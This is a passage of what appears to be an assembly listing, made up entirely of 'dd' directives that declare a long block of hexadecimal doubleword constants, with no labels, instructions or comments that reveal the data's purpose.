15CE2F0Fh, 0CD378A60h, 9371E706h, 6893F9DEh, 58A4FCBEh dd 1A65D490h, 9E489668h, 91652C6Ah, 0EBFBBD68h, 0A670FB2Ah dd 38CB2C71h, 2D510BDCh, 19E44D2h, 766728h, 0CAD3AED6h dd 2BDBB9D8h, 7747D33Ah, 11F90F85h, 0A2613CECh, 0E552BB6Ch dd 563FCEA2h, 0CB829DB5h, 9386929Ch, 565D344Bh, 0C9174131h dd 0F2C780EBh, 83E13CD3h, 42B3A820h, 0C9D69D80h, 0D6E84C4Fh dd 6C3E3776h, 0A517480Bh, 7FFE2257h, 0BEECFA39h, 0EB1762A0h dd 2B4CB5F0h, 5563AAD1h, 4219DB22h, 978DD269h, 0A4EB4D74h dd 45E91F41h, 9E9A708h, 390777FAh, 4343EDA9h, 6752D675h dd 0D1203222h, 36BBE5EFh, 1B078D1Ch, 0F7898B1Dh, 65C9CB45h dd 0D8473196h, 0DF4BD224h, 0F751B98Fh, 618C64AAh, 9E526161h dd 88157847h, 7664DD70h, 0CC1D0122h, 85B3F399h, 3CF4427Eh dd 1C2CAECDh, 8DB64EBBh, 2068B110h, 0ABA50413h, 0B7CD0769h dd 2E028E37h, 0E90582D8h, 632A6354h, 0D6FF57D5h, 49FD1192h dd 0CD70BE08h, 964F355Dh, 9ACF2F37h, 0F9607DBFh, 0C8F7080h dd 0D0CF1202h, 0E5A73C7Dh, 0E0E0F169h, 5DF9A9D2h, 0E516F99Fh dd 586076F9h, 0C341ED39h, 92F0357h, 1CF2964Eh, 5309961Fh dd 0B01C22Dh, 0A4D2FB6Bh, 4FFFD5FCh, 0F59F1B2Ah, 13768C1Eh dd 0AD64C38Ah, 165E580h, 11DEE255h, 8863D167h, 0A5B79C8Ch dd 0A29DB04h, 83B84894h, 8C9383EBh, 9971C57h, 0ECB8943Dh dd 0CDA8984h, 0FEDFD6A0h, 0F20543CFh, 4A51A7DBh, 0F88D25BBh dd 42150206h, 0E33BB623h, 5243E23Ah, 0D8BE1C06h, 0EBAB8120h dd 0A2F899C1h, 0E0F61F84h, 24D0BE1Eh, 0F06DBCF4h, 0F2D5D93Ch dd 364BE8E6h, 0ECCB2E59h, 0C3C22B45h, 66DA7699h, 31729109h dd 0DEC24A0Eh, 656E1E56h, 0C877608h, 4F175DBFh, 68007CA1h dd 103468AFh, 20117627h, 0B5CFEEF7h, 2FDF6CDCh, 90FD29ECh dd 0DA9340F4h, 798B5E06h, 0E48644FCh, 0D0F0A091h, 7830B1Ah dd 941B1E61h, 0A52AD6A6h, 1439D95Bh, 4ECFFA4h, 0E1EC6006h dd 0FAC0B134h, 49A4BA30h, 36FF3275h, 9E4171D8h, 0DBE277A6h dd 26F97914h, 75CC39D2h, 0F8FC7D63h, 64D640F9h, 943A01B3h dd 5C44A207h, 91B9C198h, 4A69DC8Eh, 0B91BC51Ah, 0B33DA23Dh dd 831C28B3h, 0C4607201h, 0FEF29DB3h, 19B6FE7Fh, 3AC9036Dh dd 0FC1AD41h, 5A0BB32Fh, 0A1EE3970h, 7E75EEBh, 66F096E0h dd 567924D7h, 74668A0Dh, 81E14EE5h, 5110E88Bh, 420D7100h dd 53C4A01Dh, 2F688600h, 54B25A81h, 0D5D69D1Fh, 0F8C7484Eh dd 561B988Bh, 0BD4FCD1Eh, 72002F28h, 509EC915h, 0F626BD0h dd 0F9288EC3h, 0A4B7A1F0h, 410D2117h, 0B0281E41h, 0CBC6DAE5h dd 0B1C5B33Dh, 7DB05B6Dh, 21EFB899h, 3827836Ch, 0C0BD8D54h dd 2F75DD45h, 6FC2BC3Bh, 5C4C09E4h, 30F9805Dh, 0B6348E9Dh dd 0DA349438h, 0DD85FCECh, 579444B1h, 0DB0D9801h, 7A650B2Eh dd 0BBCAA680h, 1B069138h, 0CFB37432h, 9FA8DD27h, 593ECFEFh dd 778C01A9h, 27BC8A2Fh, 2B2A20C6h, 38F0812Ch, 6AC21F1Bh dd 78882845h, 0F115B18h, 0A735727Eh, 10F13999h, 30B55277h dd 0CA841A82h, 0F08E9EA1h, 64D5762Eh, 0E985AB83h, 6276B390h dd 0F14B41D3h, 0F689D877h, 0A3930434h, 0A1D2B0D5h, 9D0CC5F8h dd 0BD2FA404h, 9F0F4F25h, 10E8500Ch, 0DCEE6CFh, 42C8979Fh dd 1D1FAC6Ah, 8049C5F5h, 6316B2F0h, 2C67D27Ah, 0CF162780h dd 0B4BC2764h, 0CDB9EBB4h, 904AF52Eh, 818402B4h, 78F27D8Bh dd 5E67AB97h, 0BD13091Dh, 2BD17042h, 0AC9B8E29h, 2FB9D5ACh dd 3694C2CCh, 0F377EEFDh, 76617416h, 5BF5F01Eh, 817AD110h dd 0C8E9AE00h, 0AF4BC6Ch, 0A83DD04Fh, 50649690h, 3F7A6720h dd 54688E7Ah, 0D9A9DD00h, 56BA1D1Eh, 0D3C6C5CFh, 0D7E8C564h dd 0FA456FE7h, 0D6EF08DFh, 0CE63487Ch, 88FCE7F8h, 0C3B798F3h dd 52BD31Ah, 0AD465A4Fh, 0C8EDAD8Fh, 0F0C32551h, 0A649E317h dd 21350989h, 10693F2h, 0FACC9C6Eh, 0C988AC1Fh, 23A655E4h dd 0D1E46299h, 33EA6543h, 574AA789h, 0EF5C96BEh, 5206C28Eh dd 8DE3DB14h, 5A4814D9h, 0C9915679h, 89643E8Ch, 4D4BA9A3h dd 2CCAD3Fh, 2D00A4AAh, 1FD6AADAh, 0BE6E23CEh, 51655E4Fh dd 397BD20Dh, 0E725FE55h, 8E05F975h, 11F28784h, 47ADDEDEh dd 2617330h, 1FA9F349h, 98CF9A15h, 27D2F3E2h, 57D5FBFBh dd 973335FEh, 0BC46CC2Dh, 0B8976343h, 199E0B29h, 0F821505Ah dd 62D2BF3Eh, 0EA26B52Eh, 0E3536601h, 4B3599ABh, 2C8703D2h dd 0CC2E390Dh, 50849AE8h, 3394477Fh, 0A57CE0C9h, 966C4CBDh dd 88A062BAh, 0C4397565h, 2EFF031h, 0A8A2EDBBh, 194446EAh dd 0CFC2C66Ah, 5115E33h, 1A1DAF78h, 1F6C55h, 86030749h dd 6B30E489h, 0E0029DCCh, 0CFD30CD9h, 7144D800h, 87FB3C17h dd 34D047B5h, 3436C31Ch, 0FA9F352Dh, 0B1D74A56h, 609A830Bh dd 0E06C696Fh, 26F46923h, 38DD4F2Ah, 13CFA878h, 0D8E316D8h dd 24E05295h, 0ED7548F2h, 0ABDEC054h, 0A4CEE3FAh, 367A8E1Ch dd 0F2F00477h, 5BAD4AA1h, 4072D03Eh, 0A5E442D1h, 0CEFF6C26h dd 0AD5568C6h, 7A77FC8Bh, 7F1C7C37h, 54264CBCh, 9E5D5311h dd 22741FE7h, 83FD61B7h, 3041FE67h, 65424ABCh, 80094AB4h dd 358D146h, 0CFF818B4h, 3D68F692h, 8B7025F1h, 2E77F2BAh dd 0C32F809Dh, 0BE8E43D2h dd 7CE9EF9Ch, 398D52C7h, 20B4ADDCh, 0DA6DDAAEh, 0BED456Dh dd 2C7A33B0h, 0E0227E44h, 59AC2C72h, 1D350718h, 0F816F8h dd 41BDE272h, 0DAE6F7E9h, 0E6B11364h, 4BC92B5Ch, 73B92481h dd 346DEE62h, 0C40132A4h, 307F1A27h, 0D9BD243h, 0FA71F56Ah dd 7FD75AF1h, 72D2C772h, 6A3F9D33h, 0CF754458h, 77B44177h dd 0B0B3FE05h, 2A8DB419h, 15FA3754h, 0B1A98CC9h, 47236000h dd 3AF88330h, 0EB7A12D5h, 13E4E7ECh, 263C6537h, 8AE7B6CAh dd 0C7227B78h, 0E3A54DBBh, 77BFCF14h, 5AD4A4FBh, 0E36CE9F3h dd 0C17A1335h, 95A5F4CCh, 0C153CEEDh, 0C9A7EE8h, 0E862C90Eh dd 0B436DBBDh, 54599D4Dh, 3ABCBBB8h, 0DF7F0918h, 8A24B7D9h dd 6EEA69CBh, 72BC769Fh, 846A7F1Bh, 64C00012h, 72D422BEh dd 0BF329D88h, 0D70CDAFAh, 30E2B99Bh, 944CE6E5h, 0A9EACFDBh dd 54EFF392h, 0D5A4E9DAh, 5E17E25Bh, 0FD2FF6B6h, 0B74ABDEh dd 0E5B58F9h, 6D787DD8h, 0E0C40C2h, 6CA8F9B2h, 96C62B5Eh dd 0A772EA37h, 0C1DF009h, 0B52F9747h, 36E13F67h, 164851D1h dd 0FA0FA57h, 0B88D99E5h, 6D5B9EA6h, 5E5D7417h, 0A2E98CA3h dd 5A79D5D7h, 194E0DFEh, 0F0FE072Ah, 5FFAD972h, 0E589216Fh dd 8BD6476Ch, 0D666A7ECh, 0BEAB82A6h, 87041117h, 4A3B6F23h dd 0AF9A4751h, 0F83C5B8Bh, 94E7E89Bh, 9D92F4BFh, 0D8AD50E2h dd 0EB21B692h, 2FA8D0D1h, 58D41623h, 0C39FE61Ah, 569EC864h dd 550E5E1Fh, 0C0D976F2h, 70BDDAF7h, 795DEF7Eh, 0D9401261h dd 297931D0h, 0A058974Fh, 5875285Ah, 81B8029Bh, 316AA590h dd 383162FCh, 86653E28h, 41FC3CB1h, 0C5A61B92h, 0CE0A0BB9h dd 0C8DC251Fh, 793DE79Fh, 9ABC4E56h, 0DF014DE6h, 7117E56Eh dd 19B9EE78h, 34AAF48h, 5EA2C2EDh, 0A080C528h, 0E945524h dd 0EBD1539Fh, 406DE579h, 34EE9F52h, 5B9706A4h, 359FFB00h dd 7383C0F8h, 3692A3F4h, 0FBF90473h, 61C702Ah, 1889643Fh dd 98398FFh, 0B1EF00F1h, 66084A29h, 7989CCB5h, 31AC7D60h dd 0D5F87373h, 823CC908h, 0A17EB095h, 0CAAF674Ch, 9C87ADC4h dd 954A3D09h, 9C933597h, 3DA1D8C8h, 0ECB5A639h, 70CD833h dd 32CB7582h, 6E2DC177h, 8F48F683h, 114CEE60h, 0F353B688h dd 49052E78h, 0B75308BAh, 141F6F30h, 0DA12C807h, 74D880E7h dd 21AF6F81h, 4B014412h, 0DFEBD516h, 26A3A00Dh, 63C4034Eh dd 33563970h, 0ED62E0FFh, 0A4D06C7Ah, 0B45A3509h, 4919877Fh dd 86F42794h, 0CD500C88h, 7B4E91A2h, 2D0725DAh, 3CBCC898h dd 86D3E3Fh, 72208C0Fh, 6B555C3Ch, 0BA3FDCB0h, 0C1F89B71h dd 45E01295h, 7E0E1131h, 4632A447h, 9BE8A9E5h, 69EAEB67h dd 0BB12A55Eh, 1ADBA1D9h, 5D5CDE67h, 64A13EF1h, 5E99F575h dd 0D230FF9Eh, 0D0F87BBFh, 8ECBF6BFh, 8040F9FDh, 5F05DCD4h dd 8F404558h, 5BE8151h, 0EEAC212h, 3F9F6A66h, 0E5DA4277h dd 69ACDA07h, 30FF82B0h, 5A15F0A6h, 0F6129A1Eh, 52F576D8h dd 6571EDB0h, 0B6E743Ch, 0FD43F528h, 0D55E25Bh, 5120A007h dd 4535DE90h, 0CC6ED5A0h, 636EF076h, 28E80F6Dh, 0C88BD7B4h dd 925C08F8h, 29C25643h, 328D5E75h, 59CA7BCDh, 82826029h dd 5112EA24h, 7391BE2Ch, 511B1E81h, 8E655006h, 3E79DD39h dd 5890BC0h, 0BB1042CFh, 0D2DDE554h, 46C3CE32h, 8D957A5Ch dd 6003132Eh, 4F78BF67h, 13D06AA1h, 0D93EA566h, 71F7DA4Eh dd 99EC6D9Ch, 3656D7E1h, 1286C30Ch, 70A6A090h, 4019F860h dd 353D7908h, 0DA30F7D2h, 22CB9F14h, 0FB569827h, 0C9E4F70Bh dd 9286F64h, 5AE09EEFh, 1FD8BF7Fh, 0A981E6BFh, 0B5AE0720h dd 0A9A4109Fh, 8F1885F8h, 2D38943Fh, 742E57E4h, 0B7CFF98Eh dd 7494785Ch, 0E95BF35Fh, 0ABD83F2Bh, 91EE857Dh, 69F1F59Bh dd 1791BF11h, 4EF26F45h, 0C79B8BC6h, 47016137h, 223E09Ch dd 0B5215329h, 1045044Eh, 0B568B92Bh, 9231E014h, 0DC4E8597h dd 408FA225h, 0D345A23Fh, 0B754BCFBh, 0BA87D4BEh, 99C6EF4Dh dd 94633F32h, 0F052B4F0h, 50E9EF5Ch, 203550D1h, 95D8083Dh dd 61097D76h, 0AC3B13D1h, 8C944D06h, 6A47956Bh, 2B8F8290h dd 0EC962FA7h, 1000AC25h, 965CB36h, 47967BBh, 5837B846h dd 5B4207FCh, 9A2B664Ch, 0BF05F58h, 0A3A28864h, 0F175333Ch dd 901E45F8h, 0BFB200Ah, 0AA09CBB7h, 0BC52E09h, 6704DB33h dd 0E2C68B0Ch, 0B6431845h, 1BE0999Ch, 0ECB51DE5h, 0B7FB8EDh dd 0E27F75BDh, 12B008D7h, 927B836Fh, 884BF485h, 576C2805h dd 5A9B4EDCh, 0BD3CB70Ch, 73005BE0h, 0F3398A81h, 0D602678Ah dd 0BDDF6DABh, 950401FEh, 0E5AB99B0h, 0D1B9D668h, 511D18D7h dd 42140380h, 8B2E895Fh, 0DCC25A2Fh, 0D13F50D2h, 502D4D2Fh dd 0DC5433F9h, 0B9C29D4Ah, 204D9288h, 7144F99Dh, 6FDDB1F0h dd 337369B6h, 645FEB66h, 256406EDh, 69FA8CDEh, 56DC04Eh dd 0BE3E6B84h, 0E08A6CE4h, 3789168Eh, 1BCECFB6h, 0EE02D377h dd 6DE838FFh, 72E394A4h, 28F47D0Ah, 0C9F13D6Bh, 0CAC642E0h dd 0ADFB5A58h, 0C8D51F83h, 539F093Ch, 0DCB28CFEh, 0F48040FEh dd 4968460Bh, 8DC54932h, 14A3CD27h, 47EC25E4h, 646A7525h dd 0A4016702h, 65938C0Fh, 9746AC28h, 0B46CB28h, 0C6D96C9Ah dd 0F3CDDDB3h, 89248F6Eh, 4BA6A73Dh, 81EB27A7h, 66AAD4Fh dd 94C932BEh, 0CD0634EFh, 849BF7E0h, 1749F423h, 5B9B67B9h dd 44852775h, 9B88E0EDh, 11F2ED0h, 0C1E248E2h, 7C7C7D6Bh dd 5249E2D9h, 2CA895DEh, 0AFE7B560h, 6F16D77Fh, 67717817h dd 8F797267h, 0FED74BF3h, 1FA83274h, 0FC373459h, 0CB6FCCA2h dd 5842F128h, 184C296Dh, 0C790C869h, 28A2232Ch, 75BDF7F2h dd 94DB735Bh, 2BB8589h, 71F5466h, 4A7052A0h, 0F4CAB98Bh dd 0B262DB17h, 0C6BCE1E8h, 0C581203Bh, 0B6AFA730h, 6BFDAD84h dd 43296073h, 0F5120C5Eh, 44F5E460h, 0B3C48D09h, 2D1DFF3Eh dd 2278DDB1h, 314B37A2h, 0E2944E0Ah, 449D2AB9h, 0ECCFCE0Ch dd 0D10DCDF1h, 81DB7415h, 9404B4EFh, 7FA1AF03h, 0C633E610h dd 0B3FF1A20h, 0E1307DCAh, 40519938h, 1316CEF3h, 0DDBA7E28h dd 53E982ACh, 0A45F4429h, 9EE01D60h, 17D41E43h, 0FA6C2B48h dd 0DB7E5F5Bh, 606234A0h, 3510B38h, 7C1471CEh, 0FEDDAE75h dd 0E2D088DEh, 0E60810FEh, 93BC6EA2h, 0A0EEB886h, 0B8E31EFh dd 3F800B8Bh, 9B00F8A5h, 4FB90BCAh, 4C4297B7h, 900F784Bh dd 96C0D012h, 30D1CD09h, 0F65BFA88h, 330E067Ch, 0ADD58212h dd 6385D57h, 6055C850h, 8DA1AFCAh, 8099836Ch, 0B62D52Ah dd 4F56C4F8h, 185B62B2h, 92088E8Fh, 1979BDBEh, 9FFEFA22h dd 612C415Bh, 319CB2B2h, 2BDBD515h, 9F8FDE0Eh, 2FD5DABBh dd 0E5E4E2A4h, 0B11107Ah, 711DB62Fh, 0CF6EAF59h, 0C7618A2h dd 0A2C2F40Ch, 23F141F3h, 0F70C5317h, 4B9DF570h, 0BD2174Ah dd 662D174Dh, 0AA30ED50h, 0EA702F88h, 8F2D8097h, 74543261h dd 8BA9F17Dh, 67BD357h, 0A7836598h, 0A6403E16h, 1B50B2Fh dd 508F7A2Dh, 98A6869Bh, 0BBE70B68h, 241E7E1Ah, 0FAB1E41Eh dd 3E24BE8h, 303F0E3Eh, 940FA1C1h, 12BAC546h, 4BA20BB1h dd 7BF4C9B9h, 4C6DD083h, 0A0D43498h, 843310F3h, 48BF3F7Fh dd 227926BDh, 0A926A896h, 913E3317h, 6C25DB66h, 0E182A7A8h dd 6C756A54h, 7ED81DFCh, 0DF307C7Eh, 0A26B0164h, 29A4A3AFh dd 5B8E955Ch, 11DF7C3Bh, 8DED088Dh, 21126F14h, 71400D80h dd 0FC249DD8h, 0C538A14Ah dd 31B5B9B2h, 49974DA8h, 5B1D0D5Fh, 0F39226B4h, 0E57B91Ch dd 5C55CF8Dh, 7413109Ch, 92773A49h, 0D19D5ED2h, 1EDC7AA0h dd 57468A4h, 63E8ED3h, 4DDB4B70h, 4EE04FDDh, 8A5584B9h dd 2C901BA3h, 0D7D40242h, 78204EB7h, 0C582C608h, 73E752EFh dd 51DFBA31h, 745E7B35h, 4B9AEB7Ch, 601DC4C4h, 2481BF7Fh dd 4EAD1A0Eh, 0F48C78DEh, 680B3985h, 71658C0Ah, 6F343A7Dh dd 9E81F36h, 3E5FDB70h, 1374B3EEh, 5520066Eh, 0D71B9FEEh dd 0AC6E925Ch, 0B4B2A821h, 2A3E241Eh, 0FE8F2C07h, 0F8688D8Dh dd 0D222FA11h, 0E4BF9389h, 0E3923C6h, 1F6908EEh, 0DAB13C56h dd 0CE1A9251h, 97546578h, 30A596A7h, 3A7DB24h, 7B8149Eh dd 4CC0E170h, 844A16BDh, 0A6266C23h, 0DB3FD596h, 0AA980F64h dd 0D91FE03Ah, 682B5C41h, 871B0681h, 0F2708E73h, 4650F7E5h dd 510E3EFDh, 21067244h, 738051Bh, 8456E19Eh, 33412Fh dd 824680BDh, 1AAB74EAh, 6B8B788Bh, 78D4AD2Ch, 0DE0B843Eh dd 5311753Ch, 0DE7A6FD4h, 17AFEBC8h, 8DA402B0h, 783DE3B5h dd 2B052AB5h, 6D391BFh, 0C0CBF244h, 862634F4h, 6993130Ch dd 1EFBD732h, 3FA9DC7Bh, 0DDA345A4h, 0DEBE2513h, 0D6887A33h dd 0A2B579ADh, 8814387Eh, 92B2FF46h, 615025EFh, 1B6E177Dh dd 0A2EB67E9h, 451F75BFh, 1C65C282h, 8FBC0A88h, 8EA58677h dd 35A5D881h, 0C96CAA55h, 47C69C2Eh, 9165B571h, 7D620E74h dd 15F0A962h, 4E35A81Eh, 0C266FC88h, 0F84B728Fh, 812D0DDh dd 46EFD6FDh, 52629437h, 660B2D69h, 297CB9B5h, 978238EAh dd 0E3B0C823h, 626AD69h, 0B1899D68h, 0CD517B06h, 0BE257667h dd 319EFF2Bh, 8D5AFDE9h, 8727D0D1h, 0CCDC2DDh, 0D4EB73DEh dd 0ECE43106h, 0F2BB2AC6h, 15E7016Ah, 0FD48484Ah, 3E74E03Ch dd 5B786D7Eh, 74E66F04h, 0ED6F25C8h, 5D4DD3DFh, 26BFEF18h dd 5B83519Eh, 0BECD2591h, 3FAEAD3Fh, 0C6EB2DE6h, 0AA18978Ah dd 0C80615C5h, 0F7A6743Dh, 75226Fh, 0FC12384Dh, 0E05B94Bh dd 13BFE6h, 0F9E2616Bh, 4B5119B5h, 79CC3C39h, 73627986h dd 0E6D2A692h, 5575E543h, 48C5FACFh, 1263642Ch, 63513533h dd 0CBEA8140h, 3942685Ah, 24655BDCh, 0B4F8F89Ch, 7E14863Ah dd 554E2660h, 65DD5A02h, 57AE6091h, 0F64A5027h, 68050E79h dd 7868939Fh, 0AC1A14B2h, 0F27CFB26h, 0D5A04F03h, 0EA9FB4CDh dd 227F370Ch, 0DA3D1D7Fh, 0ADEE2E9Ch, 6A368220h, 0FD579BEDh dd 68C633Eh, 55434985h, 0DD61DD99h, 0D5796F07h, 91FA9942h dd 51614EABh, 0E1BB078h, 5FDF4A36h, 1A743191h, 9867F6EBh dd 351F7E4Fh, 63C26935h, 21109664h, 9B43DF8Ch, 2FAA498Ch dd 899C3F21h, 221523E6h, 760C3AF9h, 6EED1AE0h, 0A0AC2A03h dd 0F91D12C7h, 0AB9E58C0h, 46ACC7D3h, 27C0D047h, 63A57A90h dd 0DE327E84h, 399671D5h, 0E2236D49h, 68DA4285h, 3003C655h dd 74D16F0Ch, 0E92C0AD8h, 2AC29FF9h, 77896FABh, 69D049C5h dd 1AB72410h, 0D5CE016Fh, 0F73BA9F0h, 0D0DB774Bh, 0C102DE4Ah dd 201B0C9Dh, 0A5F38419h, 0AC47DA76h, 0BFF57552h, 4723C7C2h dd 5179F056h, 64356928h, 5B59AB95h, 875A3BB7h, 0F92B03E1h dd 0CB26AD76h, 8465D958h, 1F1BD8A5h, 18A2DBC3h, 8BFF0D46h dd 0F0AFDFC0h, 1887A81Dh, 2F43534Fh, 35174867h, 1458F9EDh dd 236B6B2Dh, 0C090C922h, 49560E84h, 5BA9B218h, 4552802h dd 984EBF89h, 0FC54843h, 713E8961h, 0F4C9F90Dh, 0DA315CF9h dd 459B113Bh, 4EB1C0FBh, 0D87A7784h, 0C05E7A23h, 0F9262A4Bh dd 0BBE27A82h, 0D3B6981Dh, 572C2C57h, 0C848D2C0h, 9B1CDE14h dd 57F682E6h, 294F9E7Fh, 0D90AF973h, 3C03F872h, 0E91C0BB4h dd 0CA45C512h, 4DE71932h, 96B464FDh, 7C3D7AF7h, 0D8FFDE24h dd 0DEE9695Bh, 8FAFBC4Bh, 0D92D3DDEh, 0C494103h, 0CB635167h dd 73C65D1Dh, 0E2A6DBC4h, 2A20BEC4h, 9584E169h, 8DDB3A9Fh dd 0E6D0B339h, 2A99203Ah, 2B8615B1h, 0FC81C6E9h, 4B761951h dd 0ABFC3E0Ah, 44C91961h, 75C0BEDBh, 43480BEh, 711FB6D8h dd 4F760F9Ch, 4AE596A4h, 0FA91321Ah, 0A97B9C82h, 0B6554029h dd 78D855CFh, 1DE8F600h, 0C50D11CEh, 8EB52443h, 2D9D9C91h dd 0F8ABF94Bh, 47B653D9h, 9DBE47B7h, 499C17E5h, 0C931B34Ah dd 981B0F3Fh, 2018B755h, 73DF47C8h, 60686E07h, 0E1805325h dd 0E87A60A3h, 0EA8FD7A1h, 282D50Bh, 0F6FA1F61h, 0CAA5AD72h dd 343719E9h, 13DCA9E6h, 966BAD7h, 0FCA95F40h, 6F398B2Ah dd 0D0587846h, 0CFD26ABFh, 0A1744D89h, 0C8C6BC5h, 4877DCD5h dd 5A2E16F7h, 0C2426038h, 0D221653Eh, 91E73DB8h, 8EF2FF7Eh dd 3D07C4Bh, 3EF9A8Dh, 47132299h, 1CC1E7C5h, 8A98DBEDh dd 0C2F652D8h, 4D763F17h, 15E367BFh, 977795E6h, 32F4A81Fh dd 0E74B35F7h, 23DA0BFDh, 91D21E72h, 0A9A14B51h, 0E6084B13h dd 0CC683F4Ah, 5B3A4F6h, 1EA119DAh, 849D33E5h, 0E98722D1h dd 0B9BA00Fh, 0BF026F8Eh, 383C0633h, 7A67673Ah, 6792703h dd 0EE62BBFBh, 0E84FED40h, 0FF5A30Fh, 0C74964E6h, 48231B1Ah dd 9B514766h, 1671FB5h, 810DC262h, 8CAE8C65h, 0EDCB2A2Fh dd 37FCA7B2h, 512785B6h, 9316CCC5h, 975B8632h, 0D9322CEFh dd 0BFD89C41h, 9950FD7Ah, 764ED3B7h, 0B1D1FCA2h, 0E5526175h dd 6C5E9E1Eh, 89352870h, 0A6DD3B74h, 0E948EBBAh, 8D023D8Fh dd 4FB50FB2h, 0E6D73949h, 7D6D21D1h, 0A0EEE115h, 2FD1134Dh dd 58FD0FD7h, 6CBA4Fh, 0F3F2FF1Fh, 4C4AF8Dh, 0C9469F2h dd 0DD7D0E19h, 3F5EDD5Bh, 1AECB0ADh, 550B04AFh, 2EC3A695h dd 3F4DB3AAh, 3B2B271Dh, 46F3C8DFh, 3D096F10h, 72DAA929h dd 0FF307AAFh, 0C7F59E19h, 0A3DEFA83h, 0FB4759ABh, 0FD49281Eh dd 996CB405h, 197C16A7h, 0ECB9A2Eh, 561E1B66h, 64307846h dd 8F4C447Ch, 0FB09E3AFh, 0A8A9B922h, 0B6FA6279h, 64FA0B10h dd 4ECFE2C3h, 6B964BCBh, 0F8DA64A6h, 0BC7C5F46h, 0A8D48607h dd 0CC8C85CCh, 0BB815F2Eh, 6F5DB6EBh, 2068B25Fh, 5333F064h dd 5CDD1688h, 0AD11015Bh, 730C391h, 31A31D07h, 0E0CE1F10h dd 816B0B32h, 3168DF7Dh, 0E9931C10h, 0FA8AE3AFh, 0B25E863h dd 0C6B4D0FBh, 215499D3h, 913BBFE3h, 0F10F16F5h, 42ABB33Dh dd 24F2DC20h, 0FFD8DB1Ah, 46AA392Ch, 2120FB0Fh, 9D2C98E6h dd 9457C18Ch, 759E41FBh, 8E2C0DA7h, 0B89F3EF4h, 5C79B37h dd 0B380768h, 0AF0F2605h, 0FAF37E03h, 2A830CECh, 18C3528Ch dd 812ADD9Fh, 2130F27Bh, 0DE6D72E1h, 56CA123Ah, 5BD61324h dd 0DD04D260h, 4296B772h, 66DD9869h, 0FE328727h, 0A7FF560Ah dd 9E7848DEh, 0BC3AEA9Dh, 85A34E6Fh, 68E81D34h, 0E5E36A3h dd 5BE492AEh, 0F8A67B5h, 838E0468h, 35EAF24h, 0A6576E52h dd 1EEE16B4h, 2E6F133Ah, 7430F6D5h, 0B64AE515h, 0FD2392A4h dd 6A774DADh, 0FEB56A95h, 0CD2F842h, 13BE1265h, 0A55E84DBh dd 61689327h, 0FDEF4CD0h, 608EE98Eh, 445A931Bh, 69086ED5h dd 2EB29B88h, 0EEFA4F45h, 6DB0B05Ch, 0D756508Fh, 37EC4DA6h dd 2BC22E80h, 0CA2382Ch, 590FA252h, 2B0F7BBFh, 6A995686h dd 0E027CD06h, 372A3CCCh, 9737DC59h, 1957E823h, 23A67ABh dd 33017152h, 0BD09D33Dh, 0D3BF6ED4h, 2DE6E1D9h, 0B186D4B1h dd 0F7E0E23Bh, 8AD498E4h, 152A84Ch, 4E362983h, 1265ED42h dd 9B80FC46h, 0BF292FFFh, 0B4B9B1B9h, 0DEA6EEEFh, 0F798DF96h dd 0C853D6D8h, 58FF07EEh dd 9C0A366Dh, 50262D81h, 6E806DB5h, 0B2C40D78h, 59B13A1Dh dd 556A6608h, 0FD7E5DD3h, 0D3CEC74Ah, 35EF2A8Ah, 0AA2632F5h dd 0D8AB5F56h, 0BE8DF747h, 83FC0CE9h, 20E453BDh, 8CF62796h dd 0C38A198Ah, 750AAD35h, 0CD9A9165h, 20E3BCC9h, 5709CCA4h dd 0A65FB35Eh, 0A01C8358h, 0B4DBDBE2h, 0B13218E3h, 7B7F123h dd 65B4D25h, 0C7331AF5h, 44243A45h, 2DAB7AC5h, 1BD4ACFFh dd 31BF4C20h, 8D578CBFh, 92CE71FAh, 0EB8349ACh, 0F7078F9Fh dd 75CF343Ah, 3CD10711h, 0CB176872h, 0AFC103C7h, 10B10A1Dh dd 1BBDA088h, 0C3CECA67h, 459FAC6h, 42C945BEh, 2F93CF44h dd 74F32B85h, 26F9888Eh, 0F1CD80FAh, 1F91CF29h, 0DADB5680h dd 6D5E17FCh, 0F06E501Dh, 40D5FFE7h, 0C1F3A4CAh, 39679Bh dd 59B55C4Ch, 0ADC5EB50h, 961E1A2Eh, 811EA25Fh, 45F9FE00h dd 75324A11h, 9A27A1F3h, 0C0FF39B0h, 9C0EBAD5h, 7B7FF08Bh dd 967091CCh, 0EF5F2E53h, 0B143510Bh, 54CCEDE4h, 699C334Bh dd 75E7029Ch, 0B5107BD1h, 30EAEC2Ah, 0E75B088Ch, 0E3EE777h dd 0B40CC595h, 16A26A9Fh, 0C3465757h, 4EDCF3F8h, 11A7D9DEh dd 139AF804h, 0A0CCAB73h, 69204FC1h, 987ACBF7h, 3E37D79Ch dd 9AE056F2h, 0B1356FA5h, 85D41E55h, 82F40DB7h, 0E044BEB6h dd 182D95EFh, 0C44DBE91h, 0D95C69A6h, 0D3177FB9h, 0FEAF6AD3h dd 0C83D8E50h, 60610E31h, 224D24EAh, 3CEAAF20h, 681443E1h dd 0B0996300h, 7CCB377Ch, 0AAE73476h, 314D3F3Fh, 88B6039Fh dd 6030608Bh, 0A1D1DCB2h, 0D6BA1889h, 5E9D5524h, 60F99E20h dd 0F44C0538h, 1EB1A8B3h, 0A2098EC7h, 1ED4F6ECh, 0B21C40E2h dd 0B62006EEh, 0B6EB90DAh, 0D356414Bh, 59522A82h, 6A5EC95Fh dd 75398BAFh, 0C04D04F1h, 76B7D2Eh, 0EF042ACFh, 9B3A5DDCh dd 0DE593080h, 2953A714h, 0EEB15214h, 9AA49D1Fh, 31F861CFh dd 6AC99AF0h, 567A606Bh, 9F197BA5h, 177B178Eh, 0A260692Dh dd 0DA25123Dh, 2D75FCF7h, 0D6B56E33h, 722B7298h, 5EF4F2DAh dd 7D856406h, 0C05EBA91h, 0B223DC98h, 0CB1F450Ah, 0FBF17B34h dd 0A34A476Bh, 10CDF299h, 3958AF76h, 1161CAB7h, 0FE17EDBh dd 0AA5BCE6Ch, 317B8477h, 0AC0A6310h, 0BB8BD15Ah, 5E309B35h dd 0B8CABEEAh, 9F3592EBh, 0CFC19B6Eh, 9134D040h, 0F6E4897Ah dd 0A7C453B3h, 85BBC65Eh, 0BDA1FFCDh, 2ACC1DFDh, 0CE214953h dd 0D6CAEEA1h, 5D8A2DF3h, 4EBCD295h, 3BEB44B7h, 6FB59B2Ch dd 50F20AD5h, 0F3A502CAh, 5C1B73F8h, 0EB153F02h, 0E09B8936h dd 12A37DEEh, 7C1F3C91h, 0E085067Ch, 7D77A74Bh, 61E1E8F2h dd 0BA6B6C89h, 231845C0h, 0CCD65BF0h, 65C25810h, 11800923h dd 787E4316h, 0A897A321h, 0E4F14189h, 0CCA89A76h, 94949966h dd 